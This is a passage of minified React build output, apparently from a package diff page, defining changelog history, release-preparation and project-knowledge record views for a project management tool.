font-normal`,onClick:()=>e(t.id),children:t.id}):(0,x.jsx)(`span`,{className:`w-[82px] flex-[0_0_82px] font-mono text-[11px] text-muted-foreground/70`,children:`—`}),(0,x.jsx)(`span`,{className:`min-w-[12rem] flex-1 text-[12.5px] text-muted-foreground`,children:t.message}),t.file?(0,x.jsx)(`span`,{className:`max-w-full truncate font-mono text-[10.5px] text-muted-foreground/70 sm:max-w-80`,title:t.file,children:t.file}):null]},`${t.id||t.file}-${n}`))]},t))})]})}export{T as HealthView}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{Ct as r,L as i,Z as a,wt as o}from"./ui-primitives-Beqd9I2k.js";import{c as s,i as c,o as l,r as u,s as d}from"./theme-CNCrPl--.js";import{$ as f,B as p,C as m,E as h,F as g,H as ee,I as _,L as te,O as v,S as y,U as b,V as x,W as S,X as C,at as ne,b as w,c as T,ct as E,d as D,et as O,f as k,g as A,h as j,j as re,k as ie,l as M,ot as ae,p as N,st as P,tt as F,u as I,z as oe}from"./index-Dpy209ef.js";import{t as se}from"./layout-QiuZ_k5v.js";var L=e(t(),1),R=n(),z=`text-[10px] font-medium tracking-widest uppercase text-muted-foreground`;function B(e){switch(e){case`added`:return l(`done`);case`changed`:return l(`doing`);case`fixed`:return l(`review`);case`removed`:return l(`blocked`);case`security`:return c(`error`);default:return l(`backlog`)}}function ce(e,t){let n=null;for(let t of e){let e=/^v?(\d+)\.(\d+)\.(\d+)/.exec(t.version);if(!e)continue;let r=[Number(e[1]),Number(e[2]),Number(e[3])];(n?r[0]-n[0]||r[1]-n[1]||r[2]-n[2]:1)>0&&(n=r)}return n?t.some(e=>[`added`,`removed`,`deprecated`].includes(e.type))?`${n[0]}.${n[1]+1}.0`:`${n[0]}.${n[1]}.${n[2]+1}`:`0.1.0`}function V(e){return e instanceof Error?e.message:String(e)}function H({label:e,value:t,options:n,onChange:r}){return(0,R.jsxs)(f,{children:[(0,R.jsx)(ne,{asChild:!0,children:(0,R.jsxs)(d,{type:`button`,variant:`outline`,size:`sm`,"aria-label":e,className:s(`h-7 gap-1 px-2 text-xs`,t&&`border-ring bg-accent`),children:[e,(0,R.jsx)(`span`,{className:s(`font-normal`,!t&&`text-muted-foreground`),children:t||`all`}),(0,R.jsx)(o,{"aria-hidden":`true`,className:`size-3 text-muted-foreground`})]})}),(0,R.jsxs)(F,{align:`start`,children:[(0,R.jsx)(O,{checked:!t,onSelect:()=>r(``),children:`all`}),n.map(e=>(0,R.jsx)(O,{checked:t===e,onSelect:()=>r(e),children:e},e))]})]})}function U({record:e,selected:t,onSelect:n}){let r=e.kind===`release`?`release`:e.type,i=e.kind===`release`?`var(--primary)`:B(e.type),a=e.kind===`release`?`${e.fragments.length} fragment${e.fragments.length===1?``:`s`} · ${e.date}`:e.area;return(0,R.jsx)(v,{asChild:!0,variant:`outline`,size:`sm`,children:(0,R.jsxs)(`button`,{type:`button`,"aria-current":t?`true`:void 0,onClick:n,className:s(`flex-col flex-nowrap items-stretch gap-1 px-2.5 py-2 text-left shadow-xs`,t?`border-ring bg-accent`:`bg-card hover:border-ring`),children:[(0,R.jsxs)(`span`,{className:`flex items-baseline gap-2`,children:[(0,R.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,R.jsx)(`span`,{className:`font-mono text-[10px]`,style:{color:i},children:r}),(0,R.jsx)(`span`,{className:`flex-1`}),(0,R.jsx)(`span`,{className:`max-w-[170px] truncate font-mono text-[10px] text-muted-foreground/70`,children:a})]}),(0,R.jsx)(`span`,{className:`text-sm leading-snug font-normal`,children:e.title})]})})}function W({label:e,records:t,selectedId:n,onSelect:r}){return t.length?(0,R.jsxs)(`div`,{role:`group`,"aria-label":e,className:`flex flex-col gap-1.5 pt-4`,children:[(0,R.jsxs)(`span`,{className:z,children:[e,` · `,t.length]}),t.map(e=>(0,R.jsx)(U,{record:e,selected:e.id===n,onSelect:()=>r(e.id)},e.id))]}):null}function G({id:e,title:t,relation:n,disabled:r,onOpen:i}){return(0,R.jsx)(v,{asChild:!0,variant:`outline`,size:`sm`,children:(0,R.jsxs)(`button`,{type:`button`,disabled:r,onClick:i,className:`flex-nowrap gap-2 bg-card px-2.5 py-1.5 text-left shadow-xs hover:border-ring disabled:pointer-events-none disabled:opacity-55`,children:[(0,R.jsx)(`span`,{className:`shrink-0 font-mono text-[11px] text-muted-foreground`,children:e}),(0,R.jsx)(`span`,{className:`min-w-0 flex-1 truncate text-[12.5px]`,children:t}),n?(0,R.jsx)(ae,{variant:`outline`,className:`shrink-0 font-mono text-[10px] font-normal text-muted-foreground`,children:n}):null]})})}function K({label:e,links:t,onOpen:n}){return t.length?(0,R.jsxs)(`div`,{className:`flex flex-col gap-2`,children:[(0,R.jsx)(`span`,{className:z,children:e}),t.map(t=>(0,R.jsx)(G,{id:t.id,title:t.title,relation:t.relation,disabled:t.disabled,onOpen:()=>n(t.id)},`${e}-${t.id}`))]}):null}function le(e){return e.map(e=>({id:e.id,title:e.title||`Missing record`,relation:e.relation,disabled:!e.exists&&!e.title}))}function ue({schema:e,areas:t,onClose:n,onCreated:r}){let[i,a]=(0,L.useState)({title:``,type:e.defaults.type,area:t[0]||`general`,visibility:e.defaults.visibility,body:``}),[o,s]=(0,L.useState)(!1),[c,l]=(0,L.useState)(``),u=(e,t)=>a(n=>({...n,[e]:t})),f=async()=>{s(!0);try{r((await S.createChange(i)).record)}catch(e){l(V(e))}finally{s(!1)}};return(0,R.jsx)(T,{open:!0,onOpenChange:e=>{e||n()},children:(0,R.jsxs)(M,{onOpenAutoFocus:e=>e.preventDefault(),children:[(0,R.jsxs)(k,{children:[(0,R.jsx)(N,{children:`New change fragment`}),(0,R.jsx)(I,{children:`Record one user- or operator-meaningful change.`})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`new-fragment-title`,children:`Title`}),(0,R.jsx)(C,{id:`new-fragment-title`,autoFocus:!0,required:!0,maxLength:120,value:i.title,onChange:e=>u(`title`,e.target.value)})]}),(0,R.jsxs)(`div`,{className:`grid grid-cols-3 gap-2.5`,children:[(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`new-fragment-type`,children:`Type`}),(0,R.jsx)(j,{id:`new-fragment-type`,value:i.type,onChange:e=>u(`type`,e.target.value),children:e.types.map(e=>(0,R.jsx)(A,{value:e,children:e},e))})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`new-fragment-area`,children:`Area`}),(0,R.jsx)(j,{id:`new-fragment-area`,value:i.area,onChange:e=>u(`area`,e.target.value),children:t.map(e=>(0,R.jsx)(A,{value:e,children:e},e))})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`new-fragment-visibility`,children:`Visibility`}),(0,R.jsx)(j,{id:`new-fragment-visibility`,value:i.visibility,onChange:e=>u(`visibility`,e.target.value),children:e.visibilities.map(e=>(0,R.jsx)(A,{value:e,children:e},e))})]})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`new-fragment-details`,children:`Details`}),(0,R.jsx)(h,{id:`new-fragment-details`,rows:5,value:i.body,onChange:e=>u(`body`,e.target.value)})]}),c?(0,R.jsx)(P,{variant:`destructive`,"aria-live":`polite`,children:(0,R.jsx)(E,{children:c})}):null,(0,R.jsxs)(D,{children:[(0,R.jsx)(d,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,R.jsx)(d,{type:`button`,disabled:o||!i.title.trim(),onClick:()=>void f(),children:o?`Saving…`:`Create fragment`})]})]})})}function de({preview:e,suggestedVersion:t,onClose:n,onReleased:r}){let[i,a]=(0,L.useState)(t),[o,s]=(0,L.useState)(``),[c,l]=(0,L.useState)(!1),[u,f]=(0,L.useState)(``),p=async()=>{l(!0);try{await S.createRelease({version:i,title:o||void 0,fragmentIds:e.fragments.map(e=>e.id)}),r()}catch(e){f(V(e))}finally{l(!1)}};return(0,R.jsx)(T,{open:!0,onOpenChange:e=>{e||n()},children:(0,R.jsxs)(M,{className:`flex max-h-[85vh] flex-col sm:max-w-[640px]`,children:[(0,R.jsxs)(k,{children:[(0,R.jsx)(N,{children:`Release preparation`}),(0,R.jsxs)(I,{children:[e.fragments.length,` unreleased fragment`,e.fragments.length===1?``:`s`,` selected.`]})]}),(0,R.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col gap-4 overflow-y-auto`,children:[(0,R.jsxs)(`div`,{className:`grid grid-cols-[150px_1fr] gap-2.5`,children:[(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`release-version`,children:`Version`}),(0,R.jsx)(C,{id:`release-version`,className:`font-mono`,placeholder:`2.4.0`,value:i,onChange:e=>a(e.target.value)})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`release-title`,children:`Release title`}),(0,R.jsx)(C,{id:`release-title`,placeholder:`Optional curated title`,value:o,onChange:e=>s(e.target.value)})]})]}),e.groups.map(e=>(0,R.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,R.jsxs)(`span`,{className:z,style:{color:B(e.type)},children:[e.type,` · `,e.fragments.length]}),e.fragments.map(e=>(0,R.jsxs)(`span`,{className:`flex items-baseline gap-2 text-[12.5px]`,children:[(0,R.jsx)(`span`,{className:`shrink-0 font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,R.jsx)(`span`,{className:`min-w-0 truncate`,children:e.title}),(0,R.jsx)(`span`,{className:`flex-1`}),(0,R.jsx)(`span`,{className:`font-mono text-[10px] text-muted-foreground/70`,children:e.area})]},e.id))]},e.type)),(0,R.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,R.jsx)(`span`,{className:z,children:`release notes preview`}),(0,R.jsx)(`div`,{className:`max-h-[220px] overflow-y-auto rounded-md border bg-background px-3 py-1`,children:(0,R.jsx)(m,{source:e.markdown||`No release notes to render.`})})]}),u?(0,R.jsx)(P,{variant:`destructive`,"aria-live":`polite`,children:(0,R.jsx)(E,{children:u})}):null]}),(0,R.jsxs)(D,{children:[(0,R.jsx)(d,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,R.jsx)(d,{type:`button`,disabled:c||!i.trim()||!e.fragments.length,onClick:()=>void p(),children:c?`Releasing…`:`Create release`})]})]})})}function fe({record:e,schema:t,areas:n,onSaved:r}){let[i,a]=(0,L.useState)({title:e.title,type:e.type,area:e.area,visibility:e.visibility}),[o,s]=(0,L.useState)(!1),[l,u]=(0,L.useState)(``),f=(e,t)=>a(n=>({...n,[e]:t})),m={};for(let t of[`title`,`type`,`area`,`visibility`])i[t]!==e[t]&&(m[t]=i[t]);let h=Object.keys(m).length>0,g=n.includes(e.area)?n:[e.area,...n],_=async()=>{s(!0);try{let t=await S.patchChange(e.id,m,e.revision);u(``),r(t.record)}catch(e){u(V(e))}finally{s(!1)}};return(0,R.jsxs)(oe,{className:`gap-2.5 rounded-lg py-3 shadow-xs`,children:[(0,R.jsx)(ee,{className:`px-3`,children:(0,R.jsx)(b,{className:z,children:`edit fragment`})}),(0,R.jsxs)(p,{className:`flex flex-col gap-2.5 px-3`,children:[(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`edit-fragment-title`,children:`Title`}),(0,R.jsx)(C,{id:`edit-fragment-title`,maxLength:120,value:i.title,onChange:e=>f(`title`,e.target.value)})]}),(0,R.jsxs)(`div`,{className:`grid grid-cols-3 gap-2.5`,children:[(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`edit-fragment-type`,children:`Type`}),(0,R.jsx)(j,{id:`edit-fragment-type`,value:i.type,onChange:e=>f(`type`,e.target.value),children:t.types.map(e=>(0,R.jsx)(A,{value:e,children:e},e))})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`edit-fragment-area`,children:`Area`}),(0,R.jsx)(j,{id:`edit-fragment-area`,value:i.area,onChange:e=>f(`area`,e.target.value),children:g.map(e=>(0,R.jsx)(A,{value:e,children:e},e))})]}),(0,R.jsxs)(w,{children:[(0,R.jsx)(y,{htmlFor:`edit-fragment-visibility`,children:`Visibility`}),(0,R.jsx)(j,{id:`edit-fragment-visibility`,value:i.visibility,onChange:e=>f(`visibility`,e.target.value),children:t.visibilities.map(e=>(0,R.jsx)(A,{value:e,children:e},e))})]})]})]}),(0,R.jsxs)(x,{className:`gap-2.5 px-3`,children:[l?(0,R.jsx)(`span`,{className:`flex-1 text-xs`,style:{color:c(`error`)},"aria-live":`polite`,children:l}):(0,R.jsx)(`span`,{className:`flex-1`}),(0,R.jsx)(d,{type:`button`,variant:`outline`,size:`sm`,disabled:o||!h||!i.title.trim(),onClick:()=>void _(),children:o?`Saving…`:`Save changes`})]})]})}function pe({selectedId:e,onSelect:t,onOpenRecord:n,schema:o,areas:l}){let[f,p]=(0,L.useState)([]),[h,ee]=(0,L.useState)(``),[v,y]=(0,L.useState)(``),[b,x]=(0,L.useState)(``),[ne,w]=(0,L.useState)(!0),[T,D]=(0,L.useState)(``),[O,k]=(0,L.useState)(``),[A,j]=(0,L.useState)(!1),[M,N]=(0,L.useState)(null),[F,I]=(0,L.useState)(`public`),[z,U]=(0,L.useState)({content:``,error:``,loading:!0}),[G,pe]=(0,L.useState)(0),me=()=>pe(e=>e+1);te(e=>{_(e,`/changelog/`)&&me()}),(0,L.useEffect)(()=>{let e=!1,t=async()=>{w(!0);try{let t=await S.changelog(h.trim(),{state:v||void 0,visibility:b||void 0});if(e)return;p(t.records),D(``)}catch(t){e||D(V(t))}finally{e||w(!1)}},n=window.setTimeout(()=>void t(),h?180:0);return()=>{e=!0,window.clearTimeout(n)}},[h,v,b,G]),(0,L.useEffect)(()=>{let e=!1;return U(e=>({...e,loading:!0})),S.renderedChangelog(F).then(t=>{e||U({content:t.content,error:``,loading:!1})}).catch(t=>{e||U({content:``,error:V(t),loading:!1})}),()=>{e=!0}},[F,G]);let q=(0,L.useMemo)(()=>[...f].sort((e,t)=>{if(e.kind!==t.kind)return e.kind===`change`?-1:1;if(e.kind===`release`&&t.kind===`release`){let n=t.date.localeCompare(e.date);return n===0?t.id.localeCompare(e.id):n}return String(t.updated||``).localeCompare(String(e.updated||``))}),[f]),J=(0,L.useMemo)(()=>new Map(f.map(e=>[e.id,e])),[f]),Y=(0,L.useMemo)(()=>q.filter(e=>e.kind===`change`&&!e.released),[q]),he=(0,L.useMemo)(()=>q.filter(e=>e.kind===`change`&&e.released),[q]),X=(0,L.useMemo)(()=>q.filter(e=>e.kind===`release`),[q]),Z=(0,L.useMemo)(()=>ce(X,Y),[X,Y]),Q=e?J.get(e):void 0,$=e=>{if(J.has(e)){t(e);return}if(/^(CHG|REL)-/.test(e)){y(``),x(``),t(e);return}n(e)},ge=()=>{k(``),S.releasePreview().then(N).catch(e=>k(V(e)))},_e=Q?.issues.some(e=>e.severity===`error`)?`destructive`:`default`,ve=(0,R.jsxs)(d,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>j(!0),children:[(0,R.jsx)(a,{"aria-hidden":`true`}),`New fragment`]});return(0,R.jsxs)(`div`,{className:`flex min-h-0 flex-1`,children:[(0,R.jsxs)(`div`,{className:s(`w-full shrink-0 flex-col border-r lg:flex lg:w-[400px]`,Q?`hidden`:`flex`),children:[(0,R.jsxs)(`div`,{className:`flex flex-col gap-2.5 p-3.5 pb-0`,children:[(0,R.jsxs)(oe,{className:`flex-row items-center gap-2.5 border-primary bg-primary/10 p-3`,children:[(0,R.jsxs)(`span`,{className:`flex min-w-0 flex-1 flex-col gap-0.5`,children:[(0,R.jsxs)(`span`,{className:`text-[13px] font-semibold`,children:[Y.length,` unpublished fragment`,Y.length===1?``:`s`]}),(0,R.jsxs)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground`,children:[`next: `,Z,` ·`,` `,o.releaseStrategy]})]}),(0,R.jsx)(d,{type:`button`,size:`sm`,className:`whitespace-nowrap`,onClick:ge,children:`Prepare release`})]}),O?(0,R.jsx)(P,{variant:`destructive`,"aria-live":`polite`,children:(0,R.jsx)(E,{children:O})}):null,(0,R.jsxs)(`div`,{className:`flex items-center gap-1.5`,children:[(0,R.jsx)(C,{type:`search`,"aria-label":`Search history`,placeholder:`Search fragments and releases…`,value:h,onChange:e=>ee(e.target.value),className:`h-7 flex-1 px-2.5 text-xs md:text-xs`}),(0,R.jsx)(H,{label:`state`,value:v,options:[`unreleased`,`released`],onChange:y}),(0,R.jsx)(H,{label:`visibility`,value:b,options:o.visibilities,onChange:x})]})]}),(0,R.jsx)(`div`,{className:`min-h-0 flex-1 overflow-y-auto px-3.5 pb-6 [mask-image:linear-gradient(to_bottom,black_calc(100%-24px),transparent)]`,children:ne?(0,R.jsx)(`div`,{"aria-busy":`true`,className:`flex flex-col gap-2 pt-4`,children:Array.from({length:6},(e,t)=>(0,R.jsx)(`div`,{className:`h-[52px] animate-pulse rounded-md bg-muted`},t))}):T?(0,R.jsx)(P,{variant:`destructive`,className:`mt-4`,"aria-live":`polite`,children:(0,R.jsx)(E,{children:T})}):q.length?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(W,{label:`unpublished`,records:Y,selectedId:e,onSelect:t}),(0,R.jsx)(W,{label:`releases`,records:X,selectedId:e,onSelect:t}),(0,R.jsx)(W,{label:`published fragments`,records:he,selectedId:e,onSelect:t})]}):(0,R.jsx)(ie,{className:`mt-4 gap-1 p-4 md:p-4`,children:(0,R.jsx)(re,{className:`text-xs`,children:`No history records match the filters.`})})})]}),(0,R.jsx)(`div`,{className:s(`min-w-0 flex-1 overflow-y-auto px-6 py-5 sm:px-8.5`,Q?`block`:`hidden lg:block`),children:(0,R.jsx)(`div`,{className:se,children:Q?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsxs)(d,{type:`button`,variant:`ghost`,size:`sm`,className:`-ml-2 mb-2 lg:hidden`,onClick:()=>t(``),children:[(0,R.jsx)(r,{"aria-hidden":`true`}),`All history`]}),(0,R.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2 gap-y-1 font-mono text-[11px]`,children:[(0,R.jsx)(`span`,{className:`whitespace-nowrap text-primary`,children:Q.id}),(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`text-muted-foreground/70`,children:Q.kind}),(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),Q.kind===`change`?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(`span`,{style:{color:B(Q.type)},children:Q.type}),(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`text-muted-foreground`,children:Q.area}),(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`text-muted-foreground`,children:Q.visibility}),(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{style:{color:u(Q.released?`released`:`unreleased`)},children:Q.released?`released`:`unreleased`}),Q.updated?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`text-muted-foreground/70`,children:Q.updated})]}):null]}):(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(`span`,{className:`text-primary`,children:Q.version}),(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`text-muted-foreground`,children:Q.date}),Q.commit?(0,R.jsxs)(R.Fragment,{children:[(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsx)(`span`,{className:`text-muted-foreground/70`,children:Q.commit})]}):null,(0,R.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,R.jsxs)(`span`,{className:`text-muted-foreground/70`,children:[Q.fragments.length,` fragment`,Q.fragments.length===1?``:`s`]})]}),(0,R.jsxs)(`span`,{className:`ml-auto flex shrink-0 items-center gap-1`,children:[ve,(0,R.jsx)(d,{type:`button`,variant:`ghost`,size:`icon-sm`,"aria-label":`Close record`,title:`Back to the derived changelog`,onClick:()=>t(``),children:(0,R.jsx)(i,{"aria-hidden":`true`})})]})]}),(0,R.jsx)(`h2`,{className:`mt-2.5 mb-1 text-[26px] leading-tight font-semibold tracking-tight [text-wrap:pretty]`,children:Q.title}),(0,R.jsx)(`div`,{className:`font-mono text-[10.5px] break-all text-muted-foreground/70`,children:Q.path}),Q.issues.length>0?(0,R.jsx)(P,{variant:_e,className:`mt-3.5`,children:(0,R.jsx)(E,{className:`w-full gap-1`,children:Q.issues.map(e=>(0,R.jsxs)(`span`,{className:`flex items-baseline gap-2`,children:[(0,R.jsx)(`span`,{className:`shrink-0 font-mono text-[10.5px]`,style:{color:c(e.severity)},children:e.severity}),(0,R.jsx)(`span`,{children:e.message})]},`${e.code}-${e.message}`))})}):null,(0,R.jsx)(`div`,{className:`mt-4.5`,children:(0,R.jsx)(m,{source:Q.body||`No additional notes.`,onOpen:$})}),(0,R.jsxs)(`div`,{className:`mt-5.5 flex flex-col gap-3.5`,children:[Q.kind===`change`?(0,R.jsx)(K,{label:`shipped in`,links:(Q.releaseIds||[]).map(e=>({id:e,title:J.get(e)?.title||`Open release`,relation:`release`})),onOpen:$}):(0,R.jsx)(K,{label:`fragments · ${Q.fragments.length}`,links:Q.fragments.map(e=>{let t=J.get(e);return{id:e,title:t?.title||`Open fragment`,relation:t?.kind===`change`?t.type:void 0}}),onOpen:$}),(0,R.jsx)(K,{label:`links to`,links:le(Q.outgoing),onOpen:$}),(0,R.jsx)(K,{label:`backlinks`,links:le(Q.incoming),onOpen:$})]}),Q.kind===`change`?(0,R.jsx)(`div`,{className:`mt-5.5`,children:(0,R.jsx)(fe,{record:Q,schema:o,areas:l,onSaved:e=>p(t=>t.map(t=>t.id===e.id?e:t))},`${Q.id}:${Q.revision}`)}):null]}):(0,R.jsxs)(R.Fragment,{children:[(0,R.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-2 border-b pb-3`,children:[(0,R.jsx)(`span`,{className:`text-[13px] font-semibold`,children:`Derived changelog`}),(0,R.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:[`visibility `,F,` · CHANGELOG.md`]}),(0,R.jsxs)(`span`,{className:`ml-auto flex flex-wrap items-center gap-2.5`,children:[(0,R.jsx)(g,{children:o.visibilities.map(e=>(0,R.jsx)(d,{type:`button`,size:`sm`,variant:F===e?`default`:`outline`,"aria-pressed":F===e,className:`h-7 px-2.5 text-xs`,onClick:()=>I(e),children:e},e))}),(0,R.jsx)(ae,{variant:`outline`,className:`rounded-md font-mono text-[10.5px] font-normal whitespace-nowrap text-muted-foreground`,children:`render --write`}),ve]})]}),z.error?(0,R.jsx)(P,{variant:`destructive`,className:`mt-4`,"aria-live":`polite`,children:(0,R.jsx)(E,{children:z.error})}):(0,R.jsx)(`pre`,{className:`mt-4 font-mono text-xs leading-[1.75] whitespace-pre-wrap text-muted-foreground`,"aria-busy":z.loading||void 0,children:z.loading&&!z.content?`Rendering…`:z.content||`Nothing to render yet — create the first change fragment.`})]})})}),A?(0,R.jsx)(ue,{schema:o,areas:l,onClose:()=>j(!1),onCreated:e=>{j(!1),p(t=>[e,...t]),t(e.id)}}):null,M?(0,R.jsx)(de,{preview:M,suggestedVersion:Z,onClose:()=>N(null),onReleased:()=>{N(null),me()}}):null]})}export{pe as HistoryView}; |
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{K as r,Q as i,Tt as a,X as o,Z as s,lt as c,wt as l}from"./ui-primitives-Beqd9I2k.js";import{c as u,i as d,r as f,s as p}from"./theme-CNCrPl--.js";import{$ as m,B as h,C as g,D as _,E as v,H as y,I as b,L as ee,O as x,S,W as C,X as w,_ as te,at as T,b as E,c as D,ct as O,d as k,f as A,g as j,h as M,j as N,k as ne,l as P,nt as F,ot as I,p as L,st as R,tt as re,v as ie,y as z,z as B}from"./index-Dpy209ef.js";var V=e(t(),1),H=n(),U=[`low`,`medium`,`high`],W=[`critical`,`high`,`medium`,`low`],ae=`[mask-image:linear-gradient(to_bottom,black_calc(100%_-_24px),transparent)]`;function oe(e){return e&&e[0].toUpperCase()+e.slice(1)}function G(e,t){return`${e} ${t}${e===1?``:`s`}`}function K(e){return{category:e===`learnings`||e===`decisions`,confidence:e===`learnings`,severity:e===`incidents`,expires:e===`context`,review_after:e===`context`}}function se(e){let t=[];switch(e.collection){case`learnings`:t.push(e.confidence,e.category,e.occurrences==null?null:`${e.occurrences}×`);break;case`decisions`:e.superseded_by?.length?t.push(`superseded by ${e.superseded_by.join(`, `)}`):e.supersedes?.length?t.push(`supersedes ${e.supersedes.join(`, `)}`):t.push(e.category);break;case`incidents`:t.push(e.severity,e.corrective_actions?.length?G(e.corrective_actions.length,`corrective action`):null);break;case`conventions`:t.push(e.owners?.length?e.owners.join(`, `):`no owner`);break;case`context`:t.push(e.expires?`expires ${e.expires}`:null,e.review_after?`review after ${e.review_after}`:null);break;default:t.push(e.category,e.severity)}return t.filter(Boolean).join(` · `)}function q({label:e,value:t,options:n,allLabel:r=`all`,onChange:i}){return(0,H.jsxs)(m,{children:[(0,H.jsx)(T,{asChild:!0,children:(0,H.jsxs)(p,{type:`button`,variant:`outline`,size:`sm`,"aria-label":e,className:u(`h-7 gap-1 rounded-full px-2.5 text-xs`,t&&`border-ring bg-accent`),children:[e,(0,H.jsx)(`span`,{className:`font-normal text-muted-foreground`,children:t||r}),(0,H.jsx)(l,{"aria-hidden":`true`,className:`size-3 text-muted-foreground`})]})}),(0,H.jsxs)(re,{align:`start`,sideOffset:4,children:[(0,H.jsxs)(F,{onSelect:()=>i(``),children:[r,t?null:(0,H.jsx)(a,{"aria-hidden":`true`,className:`ml-auto`})]}),n.map(e=>(0,H.jsxs)(F,{onSelect:()=>i(e.value),children:[e.color?(0,H.jsx)(`span`,{className:`size-2 shrink-0 rounded-full`,style:{backgroundColor:e.color},"aria-hidden":`true`}):null,e.label??e.value,t===e.value?(0,H.jsx)(a,{"aria-hidden":`true`,className:`ml-auto`}):null]},e.value))]})]})}function J({id:e,label:t,children:n}){return(0,H.jsxs)(E,{className:`gap-1.5 [&_[data-slot=native-select-wrapper]]:w-full`,children:[(0,H.jsx)(S,{htmlFor:e,children:t}),n]})}function ce({record:e,selected:t,onSelect:n}){let r=se(e),i=e.lifecycleIssues?.length||0;return(0,H.jsx)(x,{asChild:!0,variant:`outline`,size:`sm`,className:`w-full flex-none flex-col items-stretch gap-1 rounded-lg bg-background px-2.5 py-2 text-left shadow-xs hover:border-ring aria-[current=true]:border-ring aria-[current=true]:bg-accent`,children:(0,H.jsxs)(`button`,{type:`button`,"aria-current":t?`true`:void 0,onClick:n,children:[(0,H.jsxs)(`span`,{className:`flex items-center justify-between gap-2`,children:[(0,H.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,H.jsxs)(I,{variant:`outline`,className:`h-[18px] gap-1 rounded-md px-1.5 font-mono text-[10px] font-medium`,children:[(0,H.jsx)(`span`,{className:`size-[5px] shrink-0 rounded-full`,style:{backgroundColor:f(e.status)},"aria-hidden":`true`}),e.status]})]}),(0,H.jsx)(`span`,{className:`text-[13px] font-medium leading-snug`,children:e.title}),r||i?(0,H.jsxs)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground`,children:[r,r&&i?` · `:null,i?(0,H.jsx)(`span`,{style:{color:d(`warning`)},children:G(i,`lifecycle warning`)}):null]}):null]})})}function Y({issues:e,kind:t}){return e.length?(0,H.jsx)(H.Fragment,{children:e.map(e=>(0,H.jsx)(R,{variant:e.severity===`error`?`destructive`:`default`,className:`px-3 py-2`,children:(0,H.jsxs)(O,{className:`flex flex-wrap items-baseline gap-x-2 gap-y-0.5`,children:[(0,H.jsx)(`span`,{className:`font-mono text-[10.5px]`,style:{color:d(e.severity)},children:t===`lifecycle`?`lifecycle`:e.severity}),(0,H.jsx)(`span`,{children:e.message})]})},`${t}-${e.code}-${e.message}`))}):null}function X({label:e,links:t,onOpen:n}){return t.length?(0,H.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,H.jsx)(`span`,{className:`text-[10px] font-medium uppercase tracking-wide text-muted-foreground`,children:e}),t.map(t=>{let r=!t.exists&&!t.title;return(0,H.jsx)(x,{asChild:!0,variant:`outline`,size:`sm`,className:`gap-2 rounded-lg px-2.5 py-2 text-left hover:border-ring disabled:pointer-events-none disabled:opacity-50`,children:(0,H.jsxs)(`button`,{type:`button`,disabled:r,onClick:()=>n(t.id),children:[(0,H.jsx)(`span`,{className:`w-[78px] shrink-0 truncate font-mono text-[11px] font-medium`,children:t.id}),(0,H.jsx)(`span`,{className:`min-w-0 flex-1 truncate text-xs text-muted-foreground`,children:t.title||`Missing record`}),(t.relations??[t.relation||t.kind]).filter(Boolean).map(e=>(0,H.jsx)(I,{variant:`secondary`,className:`h-[18px] rounded-md px-1.5 font-mono text-[10px] font-medium`,children:e},e))]})},`${e}-${t.id}`)})]}):null}function Z({message:e}){return e?(0,H.jsx)(R,{variant:`destructive`,className:`px-3 py-2`,children:(0,H.jsx)(O,{children:e})}):null}function le({schema:e,initialCollection:t,onClose:n,onCreated:r}){let 